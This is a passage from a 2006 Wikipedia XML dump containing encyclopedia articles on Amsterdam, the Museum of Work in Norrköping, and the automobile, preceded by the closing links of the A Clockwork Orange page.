[[Category:Anthony Burgess books|Clockwork Orange, A]]
[[Category:Time Magazine 100 best novels|Clockwork Orange, A]]
&lt;!-- There are two interwikis for de: es: fr: pt:, because book and movie are on separate articles on those four wikis. --&gt;

[[de:A Clockwork Orange (Buch)]]
[[es:La naranja mecánica]]
[[fr:L'Orange mécanique]]
[[he:התפוז המכני]]
[[nl:A Clockwork Orange]]
[[ja:時計じかけのオレンジ]]
[[ko:시계 태엽 오렌지]]
[[pl:Mechaniczna pomarańcza]]
[[pt:Laranja Mecânica]]</text>
    </revision>
  </page>
  <page>
    <title>Amsterdam</title>
    <id>844</id>
    <revision>
      <id>42041031</id>
      <timestamp>2006-03-03T11:32:24Z</timestamp>
      <contributor>
        <username>Garion96</username>
        <id>397881</id>
      </contributor>
      <comment>/* Famous Amsterdammers */ rm some</comment>
      <text xml:space="preserve">{{otheruses}}
&lt;div class=&quot;townBox&quot; style=&quot;border:1px solid #dddddd;margin-left:0.5em; width: 200px;&quot;&gt;
&lt;center&gt;'''Amsterdam'''&lt;/center&gt;
[[Image:Canals_of_Amsterdam.jpg|200px|Canals of the Jordaan neighbourhood]]
;Location
[[Image:LocationAmsterdam.png|200px|Location of Amsterdam]]
;Flag
[[Image:Flag of Amsterdam.svg|200px|Flag of Amsterdam]]
;Country
:[[Netherlands]]
;Province
:[[North Holland]]
;Population
:742,951([[1 January]] [[2005]])
;Coordinates
:{{coor dm|52|22|N|4|54|E|}}
;Website
:[http://www.amsterdam.nl www.amsterdam.nl]
;[[Mayor of Amsterdam|Mayor]]
:[[Job Cohen]]
&lt;/div&gt;
'''Amsterdam''', ({{Pronunciation|Nl-Amsterdam.ogg}}) the [[capital]] of the [[Netherlands]], lies on the banks of two bodies of water, the [[IJ (bay)|IJ bay]] and the [[Amstel]] river. Founded in the late [[12th century]] as a small fishing village on the banks of the [[Amstel]],  it is now the largest city in the country and its financial and cultural centre. As of 2005, the population of the city proper is 742,951{{ref|population}}; the population of the greater Amsterdam area is approximately one and a half million.

Amsterdam has one of the largest historic city centres in Europe, dating largely from the 17th century, the Golden Age of the Netherlands, of which it was the focal point. At this time, a series of concentric, semi-circular canals were built around the older city centre, which still defines its layout and appearance today. Many fine houses and mansions are situated along the canals; most are lived in, others are now offices, and some are public buildings.  Some of the narrow brick houses are gradually sinking because they are built on [[pile|piles]] to cope with the marshy subsoil.

The city is noted for many outstanding museums, including the [[Rijksmuseum]], the [[Van Gogh Museum]], the [[Stedelijk Museum]], [[Rembrandt House Museum]], the [[Anne Frank House]], and its world-class symphony orchestra, the [[Concertgebouworkest]], whose home base is the [[Concertgebouw]]. Notable are also its [[red-light district]], ''[[de Wallen]]'', and its numerous &quot;[[coffee shop]]s&quot; selling [[cannabis (drug)|cannabis]].

Although Amsterdam is the capital of the Netherlands, it is neither the capital of the province in which it is located, [[North Holland]] (which is [[Haarlem]]), nor the seat of government (which is [[The Hague]]).

==History==
''Main article: [[History of Amsterdam]]''

[[Image:Amsterdam airphoto.jpg|thumb|200px|right|Historical centre]]
Amsterdam was founded as a fishing village in the [[13th century]]. According to legend Amsterdam was founded by two [[Frisian]] fishermen, who landed on the shores of the Amstel in a small boat with their dog. The damming of the river [[Amstel]] gave it its name.  It was given [[City rights in the Netherlands|city rights]] in [[1300]] or [[1301]].  From the [[14th century]] on, Amsterdam flourished, largely on the basis of trade with the cities of the [[Hanseatic League]].

The [[16th century]] brought a rebellion by the Dutch against [[Philip II of Spain]] and his successors, escalating into the [[Eighty Years' War]] which ultimately led to Dutch independence. The Dutch Republic became known for its relative religious tolerance and [[Jew]]s from [[Spain]] and [[Portugal]], prosperous merchants from [[Antwerp]] (economic and religious refugees from the part of the Low Countries still controlled by Spain), [[Huguenots]] from [[France]] (persecuted for their religion) sought safety in Amsterdam. It was the rich, refined migrants from Flanders who set the tone (their Brabant dialects became the basis of standard written Dutch) and made Holland a [[Mercantilism|mercantile]] power.

[[Image:AmsterdamDamsquar.jpg|thumb|left|Dam Square in the late 17th century: painting by Jan Adriaensz. Berckheyde (Gemäldegalerie, Dresden)]]
The [[17th century]] is considered Amsterdam's &quot;Golden Age&quot;.  In the early 17th century Amsterdam was the richest city in Europe. Ships sailed from Amsterdam to [[North America]], [[Africa]] and present-day [[Indonesia]] and [[Brazil]] and formed the basis of a worldwide trading network. Amsterdam's merchants had the biggest share in the [[Dutch East India Company|VOC]] and [[Dutch West India Company|WIC]]. These companies acquired the overseas possessions which formed the seeds of the later Dutch colonies. Amsterdam was the most important point for the trans-shipment of goods in Europe and it was the leading financial centre of the world. Amsterdam's stock exchange was the first to trade continuously. 

The population grew from slightly over 10,000 around 1500 to 30,000 around 1570, 60,000 around 1600, 105,000 in 1622 and almost 200,000 around 1700 (a twenty fold increase in 200 years). Thereafter, the population did not change much for another century and a half. During the century before World War II it almost quadrupled to 800,000, but then remained fairly constant again to this day.

[[Image:River Amstel by Night - Frans Koppelaar.jpg|thumb|200px|River Amstel by Night&lt;br/&gt;&lt;small&gt;Painting by [[Frans Koppelaar|Koppelaar]]&lt;/small&gt;]]The 18th and early 19th centuries saw a decline in Amsterdam's prosperity. The wars of the Dutch Republic with the [[United Kingdom]] and [[France]] took their toll on Amsterdam. During the [[Napoleonic Wars]] Amsterdam's fortunes reached their lowest point. However, with the establishment of the Kingdom of the Netherlands in [[1815]], things slowly began to improve. In Amsterdam new developments were started by people like [[Sarphati]] who found their inspiration in Paris.

The end of the 19th century is sometimes called Amsterdam's second Golden Age. New museums, a train station, and the Concertgebouw were built. At this time the [[Industrial Revolution]] reached Amsterdam. The ''[[Amsterdam-Rhine Canal]]'' was dug to give Amsterdam a direct connection to the [[Rhine]] and the ''[[North Sea Canal]]'' to give the port a shorter connection to the [[North Sea]]. Both projects improved communication with the rest of Europe and the world dramatically.

[[Image:annefrankmuseum.jpg|thumb|200px|&lt;font size='1'&gt;In 2004, 936,432 people visited the museum adjoining #263 Prinsengracht, better known as the Anne Frank House.&lt;/font&gt;]]
Shortly before the [[First World War]] the city began expanding and new suburbs were built. During [[World War I]], the Netherlands remained neutral. Amsterdam suffered a food shortage and heating fuel became scarce.  The shortages sparked riots in which several people were killed.

Germany invaded the Netherlands in [[10 May]] [[1940]], taking control of the country after five days of fighting. The Germans installed a Nazi civilian government in Amsterdam that cooperated in the persecution of Jews.  More than 80,000 [[Jew]]s were deported to concentration camps, of whom perhaps the most famous was a young German girl, [[Anne Frank]]. Only 5,000 Jews survived the war. In the last months of the war communication with the rest of the country broke down and food and fuel became scarce. Many inhabitants of the city had to travel to the countryside to collect food. Most of the trees in Amsterdam were cut down for fuel.

==Coat of arms==
[[Image:Wapen amsterdam.jpg|frame|left]]
The coat of arms of Amsterdam is composed of three [[Saint Andrew|St Andrew]]'s crosses, aligned vertically, but rotated 90 degrees for the flag. Historians believe they represent the three dangers which have traditionally plagued the city: flood, fire, and pestilence. The city's official motto, ''Heldhaftig, Vastberaden, Barmhartig'' (&quot;Valiant, Resolute, Merciful&quot;) which is displayed on the coat of arms, was bestowed on it by [[Queen Wilhelmina]] in 1947 in recognition of the city's bravery during World War II. The lions were added in the sixteenth century.

The crown was awarded to the city in 1489 by [[Maximilian I, Holy Roman Emperor]], out of gratitude for services and loans. The crown was a sign of imperial protection and acted as a seal of approval for Amsterdam merchants abroad. The Westertoren also features the imperial crown.

==City government==
''Main article: [[Amsterdam (municipality)]]''

[[Image:Amsterdam 4.89943E 52.37109N.jpg|thumb|right|200px|Satellite image of Amsterdam]]

As all Dutch municipalities, Amsterdam is governed by a mayor, his ''wethouders'' (aldermen), and the municipal council. However, unlike most other Dutch municipalities, Amsterdam is subdivided into fifteen ''stadsdelen'' (boroughs), a system that was implemented in the 1980s to improve local governance. The ''stadsdelen'' are responsible for many activities that previously had been run by the central city. Fourteen of these have their own council, chosen by a popular election. The fifteenth, Westerpoort, covers the harbour of Amsterdam, has very few inhabitants, and is governed by the central municipal council. Local decisions are made at borough level, and only affairs pertaining to the whole city, such as major infrastructure projects, are handled by the central city council.

''See also:'' [[List of mayors of Amsterdam]]

==Demography==
&lt;center&gt;{{Demography 12col|830px|[[1300]]|[[1400]]|[[1500]]|[[1600]]|[[1650]]|[[1796]]|[[1830]]|[[1849]]|[[1879]]|[[1899]]|[[1925]]|[[1999]]
|1,000|3,000|12,000|60,000|140,000|200,600|202,400|224,000|317,000|510,900|714,200|727,100}}&lt;/center&gt;

==Academia==
Amsterdam has two universities: the [[University of Amsterdam]] (Universiteit van Amsterdam), and the [[Vrije Universiteit]]. Other institutions for higher education include an art school, De Rietveldacademie, the Hogeschool van Amsterdam, the Hogeschool voor Economische Studies Amsterdam and the Amsterdamse Hogeschool voor de Kunsten, which includes the Sweelinck Conservatorium. Amsterdam's [[International Institute of Social History]] is one of the world's largest documentary and research institutions concerning social history, and especially the history of the labour movement. Amsterdam's [[Hortus Botanicus (Amsterdam)|Hortus Botanicus]], founded in the early 1600s, is one of the oldest [[botanical garden]]s in the world, with many old and rare specimens, amongst which the coffee plant that served as the parent for the entire coffee culture in Central and South America.

[[Image:Java_Island_Architecture.jpg|thumb|Java Island, in [[IJ (bay)|'t IJ]], is known for its modern architecture.]]

==Public transport==
Public transport in Amsterdam, operated by [[Gemeentelijk Vervoerbedrijf]], [[Connexxion]], and [[Nederlandse Spoorwegen]], consists of: 

* national and international [[train]] connections
* 3 [[metro]] lines and 1 [[light rail]] line, together the [[Amsterdam metro]]
* 16 [[tram]] lines
* An express tram line (IJtram)
* 55 local bus lines
* regional bus lines
* several [[ferries]] for pedestrians and cyclists across the [[IJ (bay)|IJ]] (free of charge)
* a Fast Flying Ferry towards [[Velsen]]-Zuid on the North Sea shore

A new underground line, the [[North/South Line]] (''Noord/Zuidlijn'') is under construction. (See also [[Gemeentelijk Vervoerbedrijf]], [[Amsterdam metro]], [[Amsterdam Centraal]]).

===History===
During the construction of the [[Amsterdam metro]], plans to demolish the entire [[Jew]]ish neighbourhood near the [[Nieuwmarkt]] led to strong protests. The metro was still built (wall decorations at the [[Nieuwmarkt]] station are dedicated to the protests), but plans to build a highway through the neighbourhood in the centre of Amsterdam were abolished. In 1975 there was an incident where a planned bombing of the Venserpolder station led to a political scandal when mayor Ivo Samkalden and everyone in the city council, except for [[Roel van Duijn]], instantly and erroneously blamed the left-wing protesters, which was exactly the objective of the right-wing bombers.

[[Image:Amster.jpg|thumb|right|Some of the ubiquitous cyclists in Amsterdam]]

==Private transport==
Many people in Amsterdam use [[bicycle|bicycles]] to get around.  Most main streets have bike paths. Bike racks are ubiquitous throughout the city. In the city centre, driving a car is complicated by traffic jams and limited and expensive parking space.

==Airport==
[[Schiphol Airport|Schiphol]], about twenty minutes by train from downtown Amsterdam, is the biggest airport in the Netherlands, and the fourth largest in Europe. It handles about 42 million passengers a year and is home base to [[KLM]].

==Sports==
Amsterdam is the home town of [[Ajax Amsterdam|Ajax]], a team in the [[Dutch Football League]]. Its home base is the modern stadium [[Amsterdam ArenA]], located in the south-east of the city. The team shares that facility with the [[Amsterdam Admirals]], an [[American football]] team.

In 1928, Amsterdam hosted the [[1928 Summer Olympics|Games of the IXth Olympiad]]. The [[Olympisch Stadion (Amsterdam)|Olympic Stadium]] built for the occasion has been completely restored and is now used for cultural and sporting events.

Amsterdam also is home to a famous [[ice rink]], the [[Jaap Eden]] baan. The [[Amstel Tijgers]] play in this arena in the Dutch [[ice hockey]] premier league. In [[speed skating]] many international championships have been fought in the 400-meter lane of this ice rink.

The city also has a [[baseball]] team, the [[Amsterdam pirates]] who play in the Dutch Major League. Three [[field hockey]] teams, Amsterdam, Pinoké and Hurley, and a [[basketball]] team, the [[Amsterdam Astronauts]] who play in the Dutch premier division and play their games in the Sporthallen Zuid, near the Olympic Stadium.

==Periodic events==
* [[Koninginnedag]], ''Queen's day'', [[30 April]], the former [[Queen_of_the_Netherlands|Queen's]] ([[Juliana_of_the_Netherlands|Juliana]]) birthday
* [[Uitmarkt]], last weekend in August, the start of the cultural season
* ''Amsterdam Roots'', last week of June. International music festival
* ''Amsterdam Pride'', mid-August, [[gay pride]] weekend
* ''Amsterdam Marathon'', mid-October
* [[Sail Amsterdam]], a five-yearly event, when [[tall ship]]s from all over the world can be visited.
* [[Cannabis Cup]], mid-November annual cannabis competition, hosted by [[High Times]].

==Famous Amsterdammers==
{{col-begin|width=}}
{{col-break}}
* [[Karel Appel]] - painter
* [[Dennis Bergkamp]] - football player
* [[Frits Bolkestein]] - politician
* [[Breitner|George Hendrik Breitner]] - painter
* [[Simon Carmiggelt]] - writer and columnist
* [[Johan Cruijff]] - football player
* [[Candy Dulfer]] - saxophonist
* [[Max Euwe]] - chess player
* [[Anne Frank]] - Holocaust diarist 
* [[Theo van Gogh (film director)|Theo van Gogh]] - filmmaker and colummnist
* [[Vincent van Gogh]] - painter
* [[Ruud Gullit]] - football player

{{col-break}}
* [[André Hazes]] - singer 
* [[Freddy Heineken]] - beer magnate 
* [[Meindert Hobbema]] - painter
* [[Jozef Israëls]] - painter
* [[Wim Kok]] - former prime minister
* [[Karel Miljon]] - boxer
* [[Harry Mulisch]] - writer
* [[Multatuli]] - writer
* [[Rembrandt Harmenszoon van Rijn|Rembrandt]] - painter
* [[Frank Rijkaard]] - football player 
* [[Baruch Spinoza]] - philosopher
* [[Paul Verhoeven]] - film director
{{col-end}}

==Notes==
&lt;div style=&quot;font-size: 90%&quot;&gt;
# {{note|population}} [http://www.os.amsterdam.nl/tabel/5425/ City of Amsterdam statistics service in Dutch]
&lt;/div&gt;

==External links==
{{commons|Amsterdam}}
* {{wikitravelpar|Amsterdam}}
* [http://amsterdam.nl/ Official website of the city of Amsterdam] ([http://www.iamsterdam.com/ English Version])

{{Province North Holland}}
{{Olympic Summer Games Host Cities}}


[[Category:Amsterdam| ]]
[[Category:Capitals in Europe|Netherlands, Amsterdam]]
[[Category:Cities in the Netherlands]]
[[Category:Eurovision host cities]]
[[Category:Host cities of the Summer Olympic Games]]
[[Category:North Holland]]

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[[zh:阿姆斯特丹]]</text>
    </revision>
  </page>
  <page>
    <title>Museum of Work</title>
    <id>846</id>
    <revision>
      <id>40357438</id>
      <timestamp>2006-02-20T01:02:43Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Strykjärnet Motala ström Norrköping april 2005.jpg|thumb|200px|''The Iron'' is a famous 19th century landmark in central Norrköping]]
The '''Museum of Work''', or ''Arbetets museum'', is a [[museum]] located in [[Norrköping]], [[Sweden]]. The museum can be found in the 19th century building ''The Iron'' in the [[Motala ström]] river in central Norrköping.

''See also: [[List of museums in Sweden]], [[Culture of Sweden]]''

==External links==
*[http://www.arbetetsmuseum.se/ Museum of Work] - Official site

[[Category:Museums in Sweden]]
[[Category:Norrköping]]</text>
    </revision>
  </page>
  <page>
    <title>Automobile</title>
    <id>847</id>
    <revision>
      <id>42122808</id>
      <timestamp>2006-03-03T23:44:21Z</timestamp>
      <contributor>
        <ip>24.211.126.187</ip>
      </contributor>
      <comment>/* Innovation */</comment>
      <text xml:space="preserve">{{redirect|Car}}
[[Image:Automobiles.jpg|300px|thumb|right|A small variety of cars, the most popular kind of automobile.]]

An '''automobile'''  is a [[wheel]]ed [[vehicle]] that carries its own [[motor]]. Different types of automobiles include cars, [[bus]]es, [[truck]]s, [[van]]s, and [[motorcycles]], with cars being the most popular. The term is derived from Greek 'autos' (''self'') and Latin 'movére' (''move''), referring to the fact that it 'moves by itself'. Earlier terms for automobile include '[[Brass Era car|horseless carriage]]' and 'motor car'. An automobile has seats for the [[driving|driver]] and, almost without exception, one or more passengers. It is the main source of [[transportation]] across the world.

[[As of 2005]] there are 500 million cars worldwide (0.074 per capita), of which 220 million are located in the [[United States]] (0.75 per capita).

==History==
{{main|History of the automobile}}

===The history of automobiles=== The modern automobile powered by the Otto gasoline engine was invented in Germany by [[Karl Benz]]. Even though Karl Benz is credited with the invention of the modern automobile, several other German engineers worked on building the first automobile at the same time. These inventors are: [[Karl Benz]] on [[July 3]], [[1886]] in [[Mannheim]], [[Gottlieb Daimler]] and [[Wilhelm Maybach]] in [[Stuttgart]] (also inventors of the first motor bike) and in 1888/89 [[Germany|German]]-[[Austrian]] inventor [[Siegfried Marcus]] in [[Vienna]], although Marcus didn't go beyond the prototype stage.
{{Automobile history eras}}

==='''Steam powered vehicles'''===
[[Steam-power]]ed self-propelled cars were devised in the late [[18th century]]. The first self-propelled car was built by [[Nicolas-Joseph Cugnot]] in [[1769]], it could attain speeds of up to 6 km/h. In [[1771]] he designed another steam-driven car, which ran so fast that it rammed into a wall, producing the world’s first [[car accident]].

===The Internal Combustion Engine===
In 1806 [[Fransois Isaac de Rivaz]], a Swiss, designed the first [[internal combustion engine]] (sometimes abbreviated &quot;ICE&quot; today). He subsequently used it to develop the world’s first vehicle to run on such an engine, one that used a mixture of [[hydrogen]] and [[oxygen]] to generate [[energy]]. It was not very successful, as was the case with the British inventor, Brown, and the American inventor, Morey, who produced clumsy IC-engine-powered vehicles about 1826.

Etienne Lenoir produced the first successful internal-combustion engine in 1860, and within a few years, about 400 were in operation in Paris.  In about 1863, Lenoir installed his engine in a vehicle.  It seems to have been powered by city lighting-gas in bottles, and was said by Lenoir to have &quot;travelled slower than a man could walk, with breakdowns being frequent.&quot;  Lenoir, in his patent of 1860, included the provision of a carburettor, so liquid fuel could be substituted for gas, particularly for mobile purposes, i.e., vehicles.  Lenoir is said to have tested liquid fuel, such as alcohol, in his stationary engines; but it doesn't appear he used them in his vehicle.  If he did, he most certainly didn't use gasoline, as this was not well-known and was considered a waste product.

The next innovation comes in the late 1860s, with [[Siegfried Marcus]], a German working in Vienna, Austria.  He developed the idea of using gasoline as a fuel in a two-stroke internal-combustion engine.  In 1870, he built a crude vehicle, with no seats, steering or brakes, but it was spectacular for one reason:  it was the world's first internal-combustion-engine-powered vehicle fueled by gasoline.  It was tested in Vienna in September of 1870.  In 1888/1889, he built a second car, this one with seats, brakes and steering, and a four-stroke engine of his own design.  

The four-stroke engine had already been written down and patented in 1862 by the Frenchman Beau de Rochas in a long-winded and rambling pamphlet.  He printed about 300 copies of his pamphlet and they were distributed in Paris, but nothing came of this, with the patent expiring soon after and the pamphlet disappearing into total obscurity.  In fact, hardly anyone knew of it to begin with.  Beau de Rochas never built a single engine.  

Most historians agree that Nikolaus Otto of Germany built the world's first four-stroke engine.  He knew nothing of Beau de Rochas's patent or idea, and came upon the idea entirely on his own; in fact, he began thinking about it in 1861, but abandoned the idea until the mid-1870's. There is some evidence, although not conclusive, that one Christian Reithmann, an Austrian living in Germany, had built a four-stroke engine entirely on his own by 1873.  Reithmann had been experimenting with IC-engines as early as 1852.

In 1883, Edouard Delamare-Deboutteville and Leon Malandin of France installed an internal-combustion engine powered by a tank of city gas on a tricycle.  As they tested the vehicle, the tank hose came loose, resulting in an explosion.  In 1884, Delamare-Deboutteville and Malandin built and patented a second vehicle.  This one consisted of two four-stroke, liquid-fueled engines mounted to an old four-wheeled horse cart.  The patent, and presumably the vehicle, contained many innovations, some of which wouldn't be used for decades.  However, during the vehicle's first test, the frame broke apart, the vehicle literally &quot;shaking itself to pieces,&quot; in Malandin's own words.  No more vehicles were built by the two men, and their venture went completely unnoticed and their patent unexploited. No one else knew of the vehicles and experiments until years later.  

Supposedly in the late 1870's, an Italian named Murnigotti patented the idea of installing an IC engine on a vehicle, although there is no evidence one was built.  In 1884, Enrico Bernardi, another Italian, installed an IC engine on his son's tricycle.  Although nothing more than a toy, it is said to have operated somewhat successfully in one source, but another says the engine's power was too feeble to make the vehicle move.

But if all of the above experiments hadn't taken place, the development of the automobile wouldn't have been retarded by so much as a moment, since they were unknown experiments that went no further than the testing stage.  The internal-combustion-engined car really can be said to have begun with Benz and Daimler in 1886, for their vehicles were successful, they went into series-production, and they inspired others.

Benz, after building his first three-wheeled car in 1885, built improved versions in 1886 and 1887, and went into production in 1888 -- the world's first vehicle to do so.  Approximately 25 were built until 1893, when his first four-wheeler was introduced. They were powered with four-stroke engines of his own design. Emile Roger of France, already producing Benz engines under license, now added the Benz car to his line of products.  Because France was more open to the automobile in general, more were built and sold in France than by Benz himself in Germany. 

Daimler built a car in 1886 - a new horse carriage fitted with his new high-speed 4-stroke engine.  In 1889, he built two vehicles from scratch, with several innovations.  From about 1890-1895 about 30 vehicles were built by Daimler and his innovative assistant, Maybach, either at the Daimler works or in the Hotel Hermann, where they set up shop after having a falling out with their backers.

In 1890, Emile Levassor and Armand Peugeot of France began series-producing vehicles with Daimler engines, and so laid the foundation of the motor industry in France. They were inspired by Daimler's Stalhradwagen of 1889, which was exhibited in Paris in 1889. 

The first American automobile with gasoline-powered [[internal combustion engine]]s was supposedly designed in 1877 by [[George Baldwin Selden]] of [[Rochester, New York]], who applied for a patent on the automobile in 1879.  Selden didn't build a single car until 1905, when he was forced to do so due to the lawsuit.  Selden received his patent and later sued the Ford Motor Company for infringing his patent.  Henry Ford was notoriously against the American patent system, and Selden's case against Ford went all the way to the [[Supreme Court of the United States|Supreme Court]], who ruled that Ford and everyone else was free to build automobiles without paying royalties to Selden, since automobile technology had improved since Selden's patent, and no one was building those antiquated designs.


Meanwhile, notable advances in steam power evolved in [[Birmingham]], England by the [[Lunar Society]]. It was here that the term [[horsepower]] was first used. It was in Birmingham also that the first British four wheel [[petrol]]-driven automobiles were built in 1895 by [[Frederick William Lanchester]] who also patented the [[disc brake]] in the city. [[Electric vehicle]]s were produced by a small number of manufacturers.

===Innovation===
[[Image:Olds2.jpg|thumb|left|250px|Ransom E. Olds, the creator of the Assembly line]]
The first automobile [[patent]] in the [[United States]] was granted to [[Oliver Evans]] in 1789; in 1804 Evans demonstrated his first successful self-propelled vehicle, which not only was the first automobile in the US but was also the first [[amphibious vehicle]], as his steam-powered vehicle was able to travel on [[wheel]]s on land and via a [[paddle wheel]] in the water.

On [[5 November]], [[1895]], [[George B. Selden]] was granted a United States patent for a [[two-stroke cycle|two-stroke]] automobile engine ({{US patent|549160}}). This patent did more to hinder than encourage development of autos in the USA. A major breakthrough came with the historic drive of [[Bertha Benz]] in 1888. Steam, electric, and gasoline powered autos competed for decades, with gasoline internal combustion engines achieving dominance in the 1910s.

[[Image:Bentley Continental GT dashboard.jpg|thumb|right|260px|The interior of a modern luxury car, a [[Bentley Continental GT]]]]

The large scale, [[production-line]] manufacturing of affordable automobiles was debuted by [[Oldsmobile]] in 1902, then greatly expanded by [[Henry Ford]] in the 1910s. Development of automotive technology was rapid, due in part to the hundreds of small manufacturers competing to gain the world's attention. Key developments included electric [[ignition system|ignition]] and the electric self-starter (both by [[Charles Kettering]], for the [[Cadillac (automobile)|Cadillac]] Motor Company in 1910-1911), independent suspension, and four-wheel brakes.

===Model changeover and design change===
[[Image:1989 Ford Sierra GLS.jpg|thumb|right|250px|An English 1989 Ford Sierra GLS Sports Saloon. No longer in production]] 
[[Image:2000 Ford Taurus.jpg|thumb|right|250px|A [[Ford Taurus]], a modern family car which has gone through a number of changes.]]
Cars are not merely continually perfected mechanical contrivances; since the 1920s nearly all have been mass-produced to meet a market, so marketing plans and manufacture to meet them have often dominated automobile design. It was [[Alfred P. Sloan]] who established the idea of different makes of cars produced by one firm, so that buyers could &quot;move up&quot; as their fortunes improved. The makes shared parts with one another so that the larger production volume resulted in lower costs for each price range. For example, in the 1950s, [[Chevrolet]] shared hood, doors, roof, and windows with [[Pontiac]]; the LaSalle of the 1930s, sold by [[Cadillac]], used the cheaper mechanical parts made by the Oldsmobile division.

==Alternative fuels and batteries==
{{main|Alternative fuel cars}}
With heavy [[tax]]es on fuel, particularly in [[Europe]] and tightening environmental [[law]]s, particularly in [[California]], and the possibility of further restrictions on [[greenhouse gas]] emissions, work on alternative power systems for vehicles continues.

[[Diesel]]-powered cars can run with little or no modification on 100% pure [[biodiesel]], a fuel that can be made from [[vegetable oil]]s. Many cars that currently use gasoline can run on ethanol, a fuel made from plant sugars. Most cars that are designed to run on gasoline are capable of running with 15% ethanol mixed in, and with a small amount of redesign, gasoline-powered vehicles can run on ethanol concentrations as high as 85%. All petrol fuelled cars can run on [[Liquified petroleum gas|LPG]]. There has been some concern that the ethanol-gasoline mixtures prematurely wear down seals and gaskets.  Further, the use of higher levels of alcohol requires that the automobile carry/use twice as much.  Therefore, if your vehicle is capable of 300 miles on a 15-gallon tank, the efficiency is reduced to approximately 150 miles.  Of course, certain measures are available to increase this efficiency, such as different camshaft configurations, altering the timing/spark output of the ignition, or simply, using a larger fuel tank.

In the [[United States]], alcohol fuel was produced in corn-alcohol [[still]]s until [[Prohibition]] criminalized the production of alcohol in 1919. [[Brazil]] is the only country which produces ethanol-running cars, since the late 1970s.

Attempts at building viable [[battery (electricity)|battery]]-powered electric vehicles continued throughout the 1990s (notably [[General Motors]] with the [[EV1]]), but cost, speed and inadequate driving range made them uneconomical.  Battery powered cars have used [[lead-acid batteries]] which are greatly damaged in their recharge capacity if discharged beyond 75% on a regular basis and [[Nickel metal hydride|NiMH batteries]].

Current research and development is centered on &quot;[[Hybrid electric vehicle|hybrid]]&quot; vehicles that use both electric power and internal combustion.  The first hybrid vehicle available for sale in the USA was the [[Honda Insight]].  As of 2005, The car is still in production and achieves around 60 mpg.

Other R&amp;D efforts in alternative forms of power focus on developing [[fuel cells]], alternative forms of combustion such as [[Gasoline Direct Injection|GDI]] and [[HCCI]], and even the stored energy of compressed air (see [[water Engine]]).

==Safety==
[[Image:Eurocar.jpg|thumb|300px|A [[Mini]] in Paris, France]]
Automobiles were a significant improvement in safety on a per passenger mile basis, over the horse based travel that they replaced. Millions have been able to reach medical care much more quickly when transported by [[ambulance]].

[[Car accident|Accidents]] seem as old as automobile vehicles themselves. [[Joseph Cugnot]] crashed his steam-powered &quot;Fardier&quot; against a wall in 1770. The first recorded automobile fatality was [[Bridget Driscoll]] on [[1896-08-17]] in [[London]] and the first in the [[United States]] was [[Henry Bliss]] on [[1899-09-13]] in [[New York City, NY]].

Cars have two basic safety problems: They have human drivers who make mistakes, and the wheels lose traction near a half gravity of deceleration. [[Automated highway system|Automated control]] has been seriously proposed and successfully prototyped. Shoulder-belted passengers could tolerate a 32[[Gee|G]] emergency stop (reducing the safe intervehicle gap 64-fold) if high-speed roads incorporated a steel rail for emergency braking. Both safety modifications of the roadway are thought to be too expensive by most funding authorities, although these modifications could dramatically increase the number of vehicles that could safely use a high-speed highway.

Early safety research focused on increasing the reliability of brakes and reducing the flammability of fuel systems. For example, modern engine compartments are open at the bottom so that fuel vapors, which are heavier than air, vent to the open air. Brakes are hydraulic so that failures are slow leaks, rather than abrupt cable breaks. Systematic research on crash safety started in 1958 at [[Ford Motor Company]]. Since then, most research has focused on absorbing external crash energy with crushable panels and reducing the motion of human bodies in the passenger compartment.

There are standard tests for safety in new automobiles, like the [[EuroNCAP]] and the [http://www.nhtsa.dot.gov/cars/testing/ncap/ US NCAP] tests. There are also tests run by organizations such as [http://www.hwysafety.org/ IIHS] and backed by the insurance industry.

Despite technological advances, there is still significant loss of life from car accidents: About 40,000 people die every year in the [[U.S.]], with similar figures in [[Europe]]. This figure increases annually in step with rising population and increasing travel if no measures are taken, but the rate [[per capita]] and per mile travelled decreases steadily. The death toll is expected to nearly double worldwide by 2020. A much higher number of accidents result in injury or permanent [[disability]]. The highest accident figures are reported in China and India. The European Union has a rigid program to cut the death toll in the EU in half by 2010 and member states have started implementing measures.

==Current Production==
In 2005 63 million cars and light trucks were produced worldwide. The world's biggest car producer (including light trucks) is the European Union with 29% of the world's production. In non-EU Eastern Europe another 4% are produced. The second largest manufacturer is NAFTA with 25.8%, followed by Japan with 16.7%, China with 8.1%, MERCOSUR with 3.9%, India with 2.4% and the rest of the world with 10.1%. (vda-link)

Large free trade areas like EU, NAFTA and MERCOSUR attract manufacturers worldwide to produce their products within them and without currency risks or customs, additionally to being close to customers. Thus the production figures do not show the technological ability or business skill of the areas. In fact much if not most of the Third World car production is used western technology and car models (and sometimes even complete obsolete western factories shipped to the country), which is reflected in the patent statistic as well as the locations of the r&amp;d centers.

The automobile industry is dominated by relatively few large corporations (not to be confused with the much more numerous brands), the biggest of which (by numbers of produced cars) are currently [[General Motors]], [[Toyota]] and [[Ford Motor Company]]. It is expected, that Toyota will reach the No.1 position in 2006. The most profitable per-unit carmaker of recent years has been Porsche due to their premium price tag.

The automotive industry at large still suffers from high under-utilization of its manufacturing potential.

==Future of the car==
In order to limit deaths, there has been a push for self-driving automobiles.  Much of the drive for computer-driven vehicles has been led by [[DARPA]] with their [http://www.grandchallenge.org/ Grand Challenge] race.

A current and powerful invention was ESP by Bosch and many followers that reduces deaths by about 30% and is recommended by many lawmakers and carmakers to be a standard feature in all cars sold in the EU. ESP recognizes dangerous situations and corrects the drivers input for a short moment to stabilize the car. 

The biggest threat to automobiles is the declining supply of oil, which does not completely stop car usage but makes it significantly more expensive. Beginning of 2006 a gallon of gas costs approx. 6 US$ in Germany and other European countries. If no cheap solution can be found in the relatively near future individual mobility might suffer a major setback. Nevertheless, individual mobility is highly prized in modern societies so the demand for automobiles will remain just with a different power source.

Looking at automotive technology some areas appear to have the most need of development. For example, both the rubber tires and the batteries currently used by most cars seem rather antiquated when compared to,say, modern-day engines and traction-control systems. These are like jets with cardboard wings or PCs with 10 KB hard drives respectively. While slow moving cars can control their wheels via ESP reasonably well, fast moving vehicles like a Bugatti Veyron need a special tire checkup before approaching 400 km/h. Also the existing batteries are barely fit to handle the cars electronics but are far off from the ability to store enough energy for moving the car unassisted.

==See also==
{{wiktionarypar2|car|automobile}}
*[[Carfree movement]]
*[[Effects of the automobile on societies]]
*[[List of automobile manufacturers]]
*[[List of recent automobile models by type]]
*[[U.S. Automobile Production Figures]]
*[[Car dealership]]
*[[Car handling]]
*[[Car safety]]
